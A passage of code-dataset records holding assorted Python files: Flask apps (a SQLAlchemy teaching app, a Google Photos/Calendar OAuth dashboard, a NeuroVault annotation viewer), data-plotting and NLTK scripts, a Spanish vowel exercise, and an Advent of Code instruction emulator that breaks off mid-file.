np.array([1, 0, 0]),\n np.array([1.0, 1.0, 1.0]), Material.LIGHT),\n Plane(np.array([1, 0, 0]), np.array([-1, 0, 0]),\n np.array([0.3, 1, 0.1]), Material.DIFFUSE),\n Plane(np.array([0, 0, 1]), np.array([0, 0, 1]),\n np.array([0.1, 0.4, 0.9]), Material.DIFFUSE),\n Plane(np.array([0, 0, -1]), np.array([0, 0, -1]),\n np.array([0.9, 0.9, 0.1]), Material.DIFFUSE),\n Sphere(np.array([-0.5, 1.5, 0]), 0.5,\n np.array([0.7, 0.7, 0.7]), Material.MIRROR),\n ], max_bounces=args.num_bounces)\n\n camera = Camera(\n (args.image_size, args.image_size),\n np.array([-1, 0, 0]),\n np.array([0, 0, 0]),\n np.array([0, 1, 0])\n )\n \n image = np.zeros([*camera.resolution, 3])\n for i in tqdm(range(args.num_passes)):\n image += camera(world)\n image /= np.max(image)\n\n plt.imshow(image)\n plt.show()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Demborg/raytrace","sub_path":"raytrace.py","file_name":"raytrace.py","file_ext":"py","file_size_in_byte":7289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28409793418","text":"from flask import redirect, render_template, url_for\nfrom app import app, db\nfrom models import Product, ProductCategory, Actor, ActorFilm, Film, Teacher, Student\nfrom forms import ProductForm\n\n\n@app.before_first_request\ndef create_db():\n db.create_all()\n\n if len(Product.query.all()) == 0:\n # Products\n product_categories = [\"CPU\", \"GPU\", \"RAM\"]\n products = [\n (\"Core i7\", \"CPU\", 300),\n (\"GTX 4090\", \"GPU\", 1300),\n (\"32GB DDR5\", \"RAM\", 400), ]\n\n for category in product_categories:\n new_category = ProductCategory(name=category)\n db.session.add(new_category)\n db.session.commit()\n\n category_id = 1\n for product in products:\n new_product = Product(name=product[0], category_id=category_id, price=product[2])\n category_id += 1\n db.session.add(new_product)\n\n # Teachers and students\n teacher = Teacher(name=\"Giorgi\", age=23)\n students = [{\"name\": \"Joni Jonadze\", \"email\": \"Joni@mail.com\", 'course': \"Python\"},\n {\"name\": \"Mgeli Ramazi\", \"email\": \"ramazz@mail.com\", 'course': \"Python\"},\n {\"name\": \"Chafskvnili Bobi\", \"email\": \"bobby@mail.com\", 'course': \"Python\"}]\n\n db.session.add(teacher)\n db.session.flush()\n for student in students:\n new_student = Student(name=student['name'], email=student['email'], course=student['course'], teacher_id=teacher.id)\n db.session.add(new_student)\n\n # Actors\n actors = [{\"name\": \"Robert Downey Jr\", \"age\": 57},\n {\"name\": \"Chris Hemsworth\", \"age\": 41},\n {\"name\": \"Chris Evans\", \"age\": 39}]\n\n films = [{\"name\": \"Iron Man 2\", \"genre\": \"Action\"},\n {\"name\": \"Thor\", \"genre\": \"Action\"},\n {\"name\": \"Avengers\", \"genre\": \"Action\"},]\n\n for actor in actors:\n actor = Actor(name=actor['name'], age=actor['age'])\n db.session.add(actor)\n\n for film in films:\n new_film = Film(name=film['name'], genre=film['genre'])\n db.session.add(new_film)\n db.session.flush()\n\n actor_films = [{'film_id': 1, 'actor_id': 1},\n {'film_id': 2, 'actor_id': 2},\n {'film_id': 3, 'actor_id': 1},\n {'film_id': 3, 'actor_id': 2},\n {'film_id': 3, 'actor_id': 3},]\n\n for actor_film in actor_films:\n new_actorfilm = ActorFilm(film_id=actor_film['film_id'], actor_id=actor_film['actor_id'])\n db.session.add(new_actorfilm)\n db.session.commit()\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n# Product routes\n@app.route(\"/products\")\ndef products():\n products = Product.query.all()\n return render_template(\"products.html\", products=products)\n\n\n@app.route(\"/add_product\", methods=['GET', 'POST'])\ndef add_product():\n product_form = ProductForm()\n if product_form.validate_on_submit():\n category = ProductCategory.query.filter_by(name=product_form.product_category.data).first()\n product = Product(name=product_form.product_name.data, price=product_form.price.data, category_id=category.id)\n db.session.add(product)\n db.session.commit()\n return redirect(url_for('products'))\n return render_template(\"add_product.html\", form=product_form)\n\n\n@app.route(\"/edit_product/\", methods=['GET', 'POST'])\ndef edit_product(product_id):\n product = Product.query.get(product_id)\n product_form = ProductForm()\n\n if product_form.validate_on_submit():\n product.name = product_form.product_name.data\n product.price = product_form.price.data\n\n category = ProductCategory.query.filter_by(name=product_form.product_category.data).first()\n product.category_id = category.id\n db.session.commit()\n return redirect(url_for('products'))\n return render_template(\"edit_product.html\", product=product, form=product_form)\n\n\n@app.route(\"/delete_product/\")\ndef delete_product(product_id):\n product = Product.query.get(product_id)\n db.session.delete(product)\n db.session.commit()\n return redirect(url_for('products'))\n\n\n# Teacher\n@app.route(\"/teachers\")\ndef teachers():\n teacher = Teacher.query.get(1)\n\n # მოდელში გაწერილ db.relationship-ით შეგვიძლია მივწვდეთ ყველა იმ სტუდენტს, სადაც teacher_id ემთხვევა teacher.id-ს\n print(teacher.students)\n\n students = Student.query.all()\n # ხოლო backref-ში გაწერილი ატრიბუტით, შეგვიძლია პირიქითაც წამოვიღოთ, ანუ student-დან წამოვიღოთ შესაბამისი teacher\n print(students[0].teacher)\n\n # ამ ატრიბუტებზე წვდომა Jinja-შიც გაქვთ, იხილეთ HTML ფაილი\n return render_template(\"teacher.html\", teacher=teacher, students=students)\n\n\n# Actors\n@app.route(\"/actors\")\ndef actors():\n actors = Actor.query.all()\n films = Film.query.all()\n return render_template(\"actors.html\", actors=actors, films=films)\n","repo_name":"UnilabEdu/UnilabPythonInternship","sub_path":"Chapter07_Database/Sandbox/flask_sqlalchemy/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":5357,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"54"} +{"seq_id":"6065905727","text":"# -*- coding: utf-8 -*-\n\nfrom albumlib.formatter import Formatter\nfrom datetime import datetime\nfrom flask import render_template\nfrom pprint import pprint\nfrom pyowm import OWM\nimport dash_core_components as dcc\nimport datetime\nimport dateutil.parser\nimport flask\nimport google.oauth2.credentials\nimport google_auth_oauthlib.flow\nimport googleapiclient.discovery\nimport json\nimport os\nimport pandas\nimport plotly\nimport plotly.graph_objs as go\nimport plotly.plotly as py\nimport requests\n\n# This variable specifies the name of a file that contains the OAuth 2.0\n# information for this application, including its client_id and client_secret.\nCLIENT_SECRETS_FILE = \"./static/client_secret.json\"\n\n# This OAuth 2.0 access scope allows for full read/write access to the\n# authenticated user's account and requires requests to use an SSL connection.\n# SCOPES = ['https://www.googleapis.com/auth/drive.metadata.readonly']\n# API_SERVICE_NAME = 'drive'\n# API_VERSION = 'v2'\nSCOPES = [\t\"https://www.googleapis.com/auth/photoslibrary.readonly\",\n\t\t\t\"https://www.googleapis.com/auth/calendar.readonly\"\t]\n\napp = flask.Flask(__name__)\napp.config['TEMPLATES_AUTO_RELOAD'] = True\napp.jinja_env.globals.update(Formatter=Formatter)\n\n# Note: A secret key is included in the sample so that it works.\n# If you use this code in your application, replace this with a truly secret\n# key. See http://flask.pocoo.org/docs/0.12/quickstart/#sessions.\napp.secret_key = 'REPLACE ME - this value is here as a placeholder.'\n\n@app.route(\"/\")\ndef index():\n\tcredentials = getCredentials()\n\tgdata = {'photos': None }\n\tphotos = getPhotos(credentials)\n\tevents = getCalendar(credentials)\n\t# weathers = getWeathers();\n\tweathers=[]\n\t# return (credentials.id_token)\n\t# pprint(type(photos))\n\t# pprint(dir(credentials))\n\t# return(json.dumps(dir(credentials)))\n\t# return json.dumps(dir(credentials))\n\t# return dir(credentials)\n\t# return json.dumps(photos)\n\t# return (json.dumps(events))\n\treturn render_template(\"base.html\", photos = photos, events = events, weathers=weathers, creds=credentials.token)\n\n@app.route(\"/authorize\")\ndef authorize():\n\tflow = google_auth_oauthlib.flow.Flow.from_client_secrets_file(CLIENT_SECRETS_FILE, scopes=SCOPES)\n\tflow.redirect_uri = flask.url_for('oauth2callback', _external=True)\n\tauthorization_url, state = flow.authorization_url(\n\t\taccess_type = 'offline',\n\t\tincluded_granted_scopes = 'true')\n\tflask.session['state'] = state\n\treturn flask.redirect(authorization_url)\n\n@app.route(\"/oauth2callback\")\ndef oauth2callback():\n\tstate = flask.session['state']\n\tflow = google_auth_oauthlib.flow.Flow.from_client_secrets_file(\n\t\tCLIENT_SECRETS_FILE, scopes=SCOPES, state=state)\n\tflow.redirect_uri = flask.url_for('oauth2callback', _external=True)\n\tauthorization_response = flask.request.url\n\tflow.fetch_token(authorization_response = authorization_response)\n\tcredentials = flow.credentials\n\t# pprint(flow.credentials)\n\tflask.session['credentials'] = credentials_to_dict(credentials)\n\treturn flask.redirect(flask.url_for(\"index\"))\n\n@app.route(\"/revoke\")\ndef revoke():\n\tif 'credentials' not in flask.session:\n\t\treturn (\"You haven't authorized any session yet.\")\n\tcredentials = google.oauth2.credentials.Credentials(**flask.session['credentials'])\n\n\trevoke = requests.post('https://accounts.google.com/o/oauth2/revoke',\n params={'token': credentials.token},\n headers = {'content-type': 'application/x-www-form-urlencoded'})\n\n\tstatus_code = getattr(revoke, 'status_code')\n\tif status_code == 200:\n\t\treturn('Credentials successfully revoked.' + print_index_table())\n\telse:\n\t\treturn('An error occurred.' + print_index_table())\n\n@app.route('/clear')\ndef clear_credentials():\n if 'credentials' in flask.session:\n del flask.session['credentials']\n return ('Credentials have been cleared.

' +\n print_index_table())\n\ndef getCredentials():\n\tif 'credentials' not in flask.session:\n\t\treturn flask.redirect('authorize')\n\n\tcredentials = google.oauth2.credentials.Credentials(**flask.session['credentials'])\n\tflask.session['credentials'] = credentials_to_dict(credentials)\n\treturn (credentials)\n\ndef getCalendar(credentials):\n\tAPI_SERVICE_NAME = 'calendar'\n\tAPI_VERSION = 'v3'\n\tcalendar = googleapiclient.discovery.build(API_SERVICE_NAME, API_VERSION, credentials=credentials)\n\tnow = datetime.datetime.now().isoformat() + 'Z' # 'Z' indicates UTC time\n\tmaxtime = datetime.datetime.now() + datetime.timedelta(days=5)\n\tmaxtime = maxtime.isoformat() + 'Z'\n\t# pprint()\n\tevents_result = calendar.events().list(calendarId='primary', timeMin=now, timeMax=maxtime, singleEvents=True, orderBy='startTime').execute()\n\tevents_result = convertDateStrings(events_result)\n\tevents = flask.jsonify(**events_result)\n\t# events = events_result.get('items', [])\n\treturn (events_result)\n\ndef convertDateStrings(events):\n\tfor event in events.get('items', []):\n\t\tstart = event.get('start', [])\n\t\tdateTime = start.get('dateTime', [])\n\t\tif dateTime:\n\t\t\tdateTime = dateTime.split('T')[0]\n\n\treturn (events)\n\ndef getPhotos(credentials):\n\tAPI_SERVICE_NAME = 'photoslibrary'\n\tAPI_VERSION = 'v1'\n\tphotolib = googleapiclient.discovery.build(API_SERVICE_NAME, API_VERSION, credentials=credentials)\n\tfiles = photolib.albums().list().execute()\n\t# files_json = flask.jsonify\n\tfiles = photolib.mediaItems().search(body={\"albumId\":\"xxxxxxxxxxxxxxxxxxxxxxxxx\"})\n\tfiles = files.execute()\n\tfiles = files['mediaItems']\n\t# return files\n\timages = []\n\tpprint(dir(files[0]))\n\tfor file in files:\n\t\timages.append({\"id\": file.get('id'), \"src\": file.get('baseUrl')})\n\t# pprint(dir(files[0]))\n\treturn (images)\n\ndef getWeathers():\n\tplotly.tools.set_credentials_file(username='xxxxxxxxxxx', api_key='xxxxxxxxxxxxxx')\n\towm = OWM('xxxxxxxxxxxxxxxxx')\n\tfc = owm.three_hours_forecast('xxxx, xxxx')\n\tf = fc.get_forecast()\n\tweathers = f.get_weathers()\n\tforecast = {}\n\tdays = []\n\ttimes = []\n\tfor weather in weathers:\n\t d = dateutil.parser.parse(weather.get_reference_time(\"iso\"))\n\t day = d.strftime(\"%A %d %B\")\n\t time = d.strftime(\"%H:%M\")\n\t if not time in times:\n\t times.append(time)\n\t if not day in days:\n\t days.append(day)\n\t if not day in forecast:\n\t forecast[day] = []\n\t forecast[day].append(weather.get_temperature(unit='celsius')['temp_max'])\n\tnumdays = len(days)\n\ttimes = sorted(times, key=lambda x: datetime.datetime.strptime(x, '%H:%M'))\n\twhile len(forecast[days[0]]) < 8:\n\t forecast[days[0]].insert(0, None)\n\twhile len(forecast[days[numdays -1 ]]) < 8:\n\t forecast[days[numdays - 1]].append(None)\n\tdatasets= []\n\tfor day in days:\n\t trace = go.Scatter(\n\t x=times,\n\t y=forecast[day],\n\t name=day\n\t )\n\t datasets.append(trace)\n\t# py.iplot(datasets, filename = 'basic-line')\n\tgraph = dict(\n\t\t\tdata = datasets,\n\t\t\tlayout=dict(\n\t\t\t\t\ttitle = 'Weather',\n\t\t\t\t\tyaxis=dict(title = \"Temperature\"),\n\t\t\t\t\txaxis=dict(title = \"Time\"),\n\t\t\t\t\tpaper_bgcolor='rgba(0,0,0,0)',\n \t\t\t\tplot_bgcolor='rgba(0,0,0,0)'\n\t\t\t\t)\n\t\t)\n\tgraphJSON = json.dumps(graph, cls=plotly.utils.PlotlyJSONEncoder)\n\treturn graphJSON\n\ndef credentials_to_dict(credentials):\n return {'token': credentials.token,\n 'refresh_token': credentials.refresh_token,\n 'token_uri': credentials.token_uri,\n 'client_id': credentials.client_id,\n 'client_secret': credentials.client_secret,\n 'scopes': credentials.scopes}\n\nif __name__ == '__main__':\n # When running locally, disable OAuthlib's HTTPs verification.\n # ACTION ITEM for developers:\n # When running in production *do not* leave this option enabled.\n os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n\n # Specify a hostname and port that are set as a valid redirect URI\n # for your API project in the Google API Console.\n app.run('localhost', 8080, debug=True)\n","repo_name":"nadh1981/pi-album","sub_path":"launcher2.py","file_name":"launcher2.py","file_ext":"py","file_size_in_byte":7729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2394795415","text":"from pandas import DataFrame\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport nltk\nimport random\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.corpus import stopwords\nimport operator\n# finding frequency of word in documents. documents is nd array of strings(like a list)\ndef frequency(documents,figname):\n #finding uniue and converting to lower case \n unique=pd.unique(documents)\n uniquelower=list(s.lower() for s in (list(unique)))\n # Removing punctuations\n #print(len(uniquelower))\n #print (uniquelower)\n tokenizer = RegexpTokenizer(r'\\w+')\n punctless=[]\n for s in uniquelower:\n list2=[]\n list2=tokenizer.tokenize(s)\n for lis in list2:\n punctless.append(lis)\n #print(len(punctless))\n \n # Removing stop words\n stop = stopwords.words('english')\n nostop=[]\n for s in punctless:\n if s not in stop:\n nostop.append(s)\n #print (len(nostop))\n #print (nostop)\n # Count of each word \n dic={}\n for s in nostop:\n if s not in dic:\n dic[s]=1\n else:\n dic[s]=dic[s]+1 \n #print(dic)\n dc_sort = sorted(dic.items(),key = operator.itemgetter(1),reverse = True)\n #print ((dc_sort))\n \n # Print in graph top 10 most frequent item queried\n xvalues=[]\n yvalues=[]\n for i in range(0,10):\n s=dc_sort[i]\n xvalues.append(s[0])\n yvalues.append(s[1])\n #print(xvalues)\n #print(yvalues)\n indexes = np.arange(len(xvalues))\n plt.xlabel(' word')\n plt.ylabel(' frequency')\n plt.title('Figure 1')\n width=0.5\n plt.bar(indexes,yvalues,0.5)\n plt.xticks(indexes + width * 0.5, xvalues)\n plt.savefig(figname)\n plt.show()\n pass\n\n# Use Pandas to read in the training and test data\ntrain = pd.read_csv(\"../input/train.csv\").fillna(\"\")\ntest = pd.read_csv(\"../input/test.csv\").fillna(\"\")\n\nprint (train.columns)\n#print (test.columns)\n# Print a sample of the training data\n#print(train.head())\n'''\nprint (train.size)\nprint (test.size)\nprint (train.shape)\nprint (test.shape)\n\nprint (train.shape[0])\nprint (test.shape[0])\n# Now it's yours to take from here\n\n#print (train['query'].head(10))\n#print (train.iloc[2])\n#print(pd.unique(train['query']).size)\n#df1=(pd.unique(train['query']))\n#df2=(pd.unique(test['query']))\n# no of unique queries in test\n#print(df1.sym_diff(df2))// not working on dataframes may be older version of pandas is installed\n#print(np.setdiff1d(df1, df2))\n#print(np.setdiff1d(pd.unique(train.columns),pd.unique(test.columns)).size)\n# Product title and their unique\nprint (train.columns)\nprint (train['product_title'].head(10))\n\nprint(pd.unique(train['product_title']).size)\n\nprint(np.setdiff1d(pd.unique(train['product_title']),pd.unique(test['product_title'])).size)\n\nprint(np.intersect1d(pd.unique(train['product_title']),pd.unique(test['product_title'])).size)\n'''\nfrequency(train['query'],'wordcount')\nfrequency(train['product_title'].sample(1000),'product title')","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/crowdflower-search-relevance/kranthi sai/kranthi.py","file_name":"kranthi.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"13885708762","text":"from flask import Flask, render_template\nfrom hypothesis import HypothesisRawAnnotation\nimport requests\nimport numpy\nimport json\nimport re\nimport pandas\n\napp = Flask(__name__)\n\ndef get_annotations(urls,column_names):\n if not isinstance(urls,list): urls = [urls]\n annotations = dict()\n for u in urls:\n url = requests.get(u).url\n url = \"https://hypothes.is/api/search?uri=%s\" %(url)\n text = requests.get(url).text.decode('utf-8')\n rows = json.loads(text)['rows']\n raw = [HypothesisRawAnnotation(row) for row in rows] \n annots = [] \n for r in raw:\n data = dict()\n # Find tags, and ids\n ids = [id for id in [re.findall(\"^-?[0-9]+$\",tag) for tag in r.tags] if id]\n if ids:\n ids = ids[0]\n else:\n ids = []\n tags = [tag for tag in r.tags if tag not in ids]\n if len(ids)==0: ids = None\n # We are only taking the first id annotation, one image per annotation\n data[\"image_id\"] = ids\n data[\"tags\"] = [{tag:r.text} for tag in tags]\n annots.append(data)\n if len(annots) > 0:\n annotations[u] = annots\n return annotations \n\ndef get_images(pk):\n url = \"http://neurovault.org/api/collections/%s/images/?format=json\" %pk \n return json.loads(requests.get(url).text.decode('utf-8'))\n\ndef get_collections(pk=None):\n # Retrieve neurovault images, sort\n pkl = \"static/data/nv_collections.pkl\"\n collections = pandas.read_pickle(pkl)\n collections = collections[collections[\"DOI\"].isnull()==False]\n \n # Remove more proprietary stuffs\n collections = collections.drop([\"owner\",\"add_date\",\"contributors\"],axis=1)\n if pk:\n collections = collections[collections.collection_id==int(pk)]\n return collections\n\n# Change nan values to None to render correctly in interface\ndef nan_to_none(field):\n try:\n if numpy.isnan(field):\n return None\n except:\n pass\n return field\n\n# Important fields\ndef get_important_fields(images,coll):\n metadata = []\n missing = 0\n present = 0\n for image in images[\"results\"]:\n smoothness = nan_to_none(image[\"smoothness_fwhm\"])\n image_metadata = {\"figure\":image[\"figure\"],\n \"cognitive_paradigm_cogatlas\":image[\"cognitive_paradigm_cogatlas\"],\n \"contrast_definition\":image[\"contrast_definition\"],\n \"image_type\":image[\"image_type\"],\n \"modality\":image[\"modality\"],\n \"name\":image[\"name\"],\n \"map_type\":image[\"map_type\"],\n \"smoothness_fwhm\":smoothness,\n \"thumbnail\":image[\"thumbnail\"],\n \"url\":image[\"url\"],\n \"id\":image[\"id\"]}\n missing += sum(x is None for x in image_metadata.values())\n present += sum(x is not None for x in image_metadata.values())\n metadata.append(image_metadata)\n\n subjects = nan_to_none(coll[\"number_of_subjects\"].values[0])\n\n collection = {\"coordinate_space\":coll[\"coordinate_space\"].values[0],\n \"software_package\":coll[\"software_package\"].values[0],\n \"used_motion_correction\":coll[\"used_motion_correction\"].values[0],\n \"number_of_subjects\":subjects,\n \"name\":coll[\"name\"].values[0],\n \"url\":coll[\"url\"].values[0],\n \"journal\":coll[\"journal_name\"].values[0],\n \"authors\":coll[\"authors\"].values[0],\n \"id\":coll[\"collection_id\"].values[0]}\n\n missing = (sum(x is None for x in collection.values())) + missing\n present = (sum(x is None for x in collection.values())) + present\n collection[\"missing\"] = missing\n collection[\"present\"] = present\n return {\"images\":metadata,\"collection\":collection}\n\n# Match annotations to fields\n# Defined fields will not be over-written by annotations\n# We can only match images to annotations based on imageID tags\ndef update_fields(annotations,fields):\n annots = annotations.values()[0]\n for annot in annots:\n # An image annotation\n if annot[\"image_id\"] != None:\n idx = [x for x in range(0,len(fields[\"images\"])) if fields[\"images\"][x][\"id\"] == int(annot[\"image_id\"][0])][0]\n fields[\"images\"][idx] = update_field(annot,fields[\"images\"][idx])\n \n # A collection annotation\n else:\n fields[\"collection\"] = update_field(annot,fields[\"collection\"])\n return fields\n\n# Update a single field\ndef update_field(annot,fields):\n for group in annot[\"tags\"]:\n for tag,val in group.iteritems():\n try:\n if not fields[tag]:\n fields[tag] = val\n except:\n pass\n return fields\n\n# \ndef update_annotations(url,collection,pk):\n annots = get_annotations(url,collection.columns)\n # Get images using the neurovault API\n images = get_images(pk)\n # Get important image and collection fields\n fields = get_important_fields(images,collection)\n\n # Match annotations to fields\n if len(annots) == 0:\n annots[url] = [{\"image_id\":None,\n \"tags\":[{\"No annotations found!\":\"\"}]}] \n else:\n fields = update_fields(annots,fields)\n return annots,images,fields\n\n# Single collection view\n@app.route(\"/collection/\")\ndef collection(pk):\n collection = get_collections(pk=pk)\n # Get annotations for the pk\n url = collection[\"url\"].tolist()[0]\n annots,images,fields = update_annotations(url,collection,pk)\n return render_template(\"collection.html\",\n images=images,\n annotations=annots,\n fields=fields)\n\n# Show annotations for a collection\n@app.route(\"/annotate/\")\ndef annotate(pk):\n collections = get_collections()\n collection = get_collections(pk)\n # Get annotations for the pk\n url = collection[\"url\"].tolist()[0]\n annots = get_annotations(url,collection.columns)\n annots,images,fields = update_annotations(url,collection,pk)\n return main_page(collections,annotations=annots,fields=fields)\n\n@app.route(\"/faq\")\ndef faq():\n return render_template(\"faq.html\")\n\n\n@app.route(\"/\")\ndef annotate_nv():\n collections = get_collections()\n return main_page(collections)\n \ndef main_page(collections,annotations=None,fields=None):\n\n # Convert (most) columns to strings\n for col in collections.columns:\n try:\n collections[col] = collections[col].astype(str)\n except:\n pass\n\n # Fill in nan with None\n collections[collections.isnull()] = None\n\n # Convert each collection into a dict\n lists = []\n for row in collections.iterrows():\n lists.append(row[1].to_dict())\n\n # render images with contrasts tagged\n if annotations != None:\n return render_template(\"index.html\",collections=lists,annotations=annotations,fields=fields)\n return render_template(\"index.html\",collections=lists)\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run(host=\"0.0.0.0\")\n","repo_name":"vsoch/neurovault-annotation","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":7177,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"36000330510","text":"#!/usr/bin/env python3\n#\nfrom matplotlib import pyplot as plt\nfrom dateutil import parser\nimport csv\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom modules.brondata import smooth, double_savgol\n\npagehits= {\n 'x': [],\n 'y': []\n}\n\n# Get daily hitcounter (max value for that day)\nfilename = '../data/pagehits.csv'\nwith open(filename, 'r') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=';')\n line_count = 0\n for row in csv_reader:\n if line_count > 0:\n datum = datetime.strptime(row[0],\"%Y-%m-%dT%H:%M:%S\").date()\n hits = int(row[1])\n\n try:\n i = pagehits['x'].index(datum)\n if hits > pagehits['y'][i]:\n pagehits['y'][i] = hits\n except ValueError:\n pagehits['x'].append(datum)\n pagehits['y'].append(hits)\n \n line_count = line_count + 1\n \ndailyhits = {\n 'x': [],\n 'y': []\n}\n\nfor i in range(len(pagehits['x'])):\n dailyhits['x'].append(pagehits['x'][i])\n if i == 0 or pagehits['y'][i] < pagehits['y'][i-1]:\n dailyhits['y'].append(pagehits['y'][i])\n else:\n dailyhits['y'].append(pagehits['y'][i] - pagehits['y'][i-1])\n\nhitsperuur = [y / 24 for y in dailyhits['y']]\nhitsperuur_gem = smooth(hitsperuur)\n\nfig, ax1 = plt.subplots(figsize=(10, 5))\nfig.subplots_adjust(top=0.92, bottom=0.13, left=0.09, right=0.91)\nax1.grid(which='both', axis='both', linestyle='-.',\n color='gray', linewidth=1, alpha=0.3)\nax1.plot(dailyhits['x'], hitsperuur_gem, color='red', label='Page hits')\nax1.fill_between(pagehits['x'], 0, hitsperuur,facecolor='lightsalmon', alpha=0.3, interpolate=True)\n\n# ax1.set_ylim(0,4000)\n\nimport matplotlib.dates as mdates\nax1.xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m-%d'))\n\n# Try to create only 7 tickmarks to prevent overlap\nstep = (pagehits['x'][-1]-pagehits['x'][0]).days/7\nr = [pagehits['x'][0] + timedelta(days=x*step) for x in range(8)]\n\nax1.set_xticks(r)\n\nax1.set_xlabel(\"Datum\")\n\nplt.title('Page hits per uur (gemiddeld ongeveer '+str(int(round(hitsperuur_gem[-1])))+\").\")\n\ngegenereerd_op=datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nfooterleft=\"Gegenereerd op \"+gegenereerd_op+\".\"\nplt.figtext(0.01, 0.01, footerleft, ha=\"left\", fontsize=8, color=\"gray\")\n\nfooterright=\"https://realrolfje.github.io/coronadata/\"\nplt.figtext(0.99, 0.01, footerright, ha=\"right\", fontsize=8, color=\"gray\")\n\nplt.savefig(\"../docs/graphs/pagehits.svg\", format=\"svg\")\n","repo_name":"realrolfje/coronadata","sub_path":"scripts/createPageHitsGraph.py","file_name":"createPageHitsGraph.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"12544165481","text":"\"\"\"\nPrograma: Ejercicio 14, Programa que te dice si un caracter es vocal o consonante, a partir de un caracter por consola\nVersion: 1.0\nAutor: Tomás Rodríguez\nFecha: 21 de diciembre de 2020\n\n\"\"\"\n# Constantes\nVOCAL =\"Es una vocal\"\nCONSONANTE = \"Es una consonante\"\n#Podriamos crear otra constante indefinida para los elementos fuera del rango A-z pero lo dejaremos para otro programa\n \n \n##################################################################\n# Lo primero que tenemos que pensar es en cuales son las vocales #\n# Vocales: #\n# A,a E,e I,i O,o U,u #\n##################################################################\n\n#solicitamos el caracter por consola\n\ncarac = input(\"Introduce un caracter: \")\n\nif(carac == 'A' or carac == 'a' or carac == 'E' or carac == 'e' or carac == 'I' or carac == 'i' or carac == 'O' \n or carac == 'o' or carac == 'U' or carac == 'u'):\n print(VOCAL)\nelse:\n print(CONSONANTE)\n","repo_name":"TomRG20/Ejercicios-para-Practicar","sub_path":"Ejercicio 14 Vocal o Constante.py","file_name":"Ejercicio 14 Vocal o Constante.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23973378169","text":"from dataclasses import dataclass\nfrom typing import List\nimport enum\n\n\n@enum.unique\nclass Opcode(enum.Enum):\n \"\"\"distinguishes which operation an instruction should perform\"\"\"\n\n Accumulate = enum.auto()\n Jump = enum.auto()\n NoOperation = enum.auto()\n\n\n@dataclass\nclass Instruction:\n \"\"\"information needed to perform a single operation\"\"\"\n\n opcode: Opcode\n argument: int\n\n\nclass CPU:\n \"\"\"processor of the handheld game console\"\"\"\n\n def __init__(self):\n \"\"\"constructor that initialises the CPU object upon creation\"\"\"\n\n # the accumulator starts at 0\n self.accumulator = 0\n # we'll execute the first instruction in memory first\n self.instruction_pointer = 0\n # the computer has a program in memory, though it starts uninitialised\n self.program_memory: List[Instruction] = []\n\n @property\n def is_complete(self):\n return self.instruction_pointer >= len(self.program_memory)\n\n def set_program_memory(self, program: List[Instruction]):\n \"\"\"initialise the processor's program memory\"\"\"\n\n self.program_memory = program\n\n def execute_instruction(self):\n \"\"\"executes a single instruction\"\"\"\n\n if self.is_complete:\n # when we run off the end of memory, halt\n return\n\n # fetch the next instruction to execute\n instruction = self.program_memory[self.instruction_pointer]\n # most instructions simply move onto the next instruction upon completion, so let's default to\n # considering the next instruction as the one we'll do next, individual operations can override this\n next_instruction_pointer = self.instruction_pointer + 1\n\n if instruction.opcode == Opcode.NoOperation:\n # nop operations do nothing! :)\n pass\n elif instruction.opcode == Opcode.Jump:\n # jmp operations override the next instruction to execute\n next_instruction_pointer = self.instruction_pointer + instruction.argument\n elif instruction.opcode == Opcode.Accumulate:\n # acc operations add their argument to the accumulator\n self.accumulator += instruction.argument\n else:\n raise Exception(f\"failed to execute unknown instruction {instruction.opcode} at {self.instruction_pointer}\")\n\n # record which instruction to record next\n self.instruction_pointer = next_instruction_pointer\n\n\ndef load_instruction(line: str) -> Instruction:\n \"\"\"decode an instruction from a line of text from the input\"\"\"\n\n # start by splitting the line by whitespace, to separate the opcode and argument\n parts = line.split()\n if len(parts) != 2:\n raise Exception(f\"invalid instruction '{line}' expected two tokens, an opcode and argument\")\n\n # we've confirmed that we split it into two parts, so let's give those parts nicer names to work with\n opcode_mneumonic, argument = parts\n\n # use a dictionary to map the text mneumonics for instructions to an enumeration of constant values\n opcode_lookup = {\n 'nop': Opcode.NoOperation,\n 'acc': Opcode.Accumulate,\n 'jmp': Opcode.Jump,\n }\n\n if opcode_mneumonic not in opcode_lookup:\n raise Exception(f\"unknown instruction '{opcode_mneumonic}'\")\n\n # return the finalised instruction\n return Instruction(\n opcode=opcode_lookup[opcode_mneumonic],\n argument=int(argument),\n )\n\n\ndef main():\n # load the boot program from the input file\n with open('input/day8.txt') as f:\n boot_program = [\n load_instruction(line)\n for line in f\n ]\n\n # initialise the CPU\n cpu = CPU()\n # load the boot program into the processor\n cpu.set_program_memory(boot_program)\n\n # keep track of which instructions we've executed\n instructions_executed = set()\n # keep running instructions, until you try to run one for a second time\n while not cpu.is_complete and cpu.instruction_pointer not in instructions_executed:\n # record the instruction we're about to execute\n instructions_executed.add(cpu.instruction_pointer)\n\n cpu.execute_instruction()\n\n print(f\"just before the program executes an instruction for the second time, the accumulator is: {cpu.accumulator}\")\n\n\nif __name__ == '__main__':\n 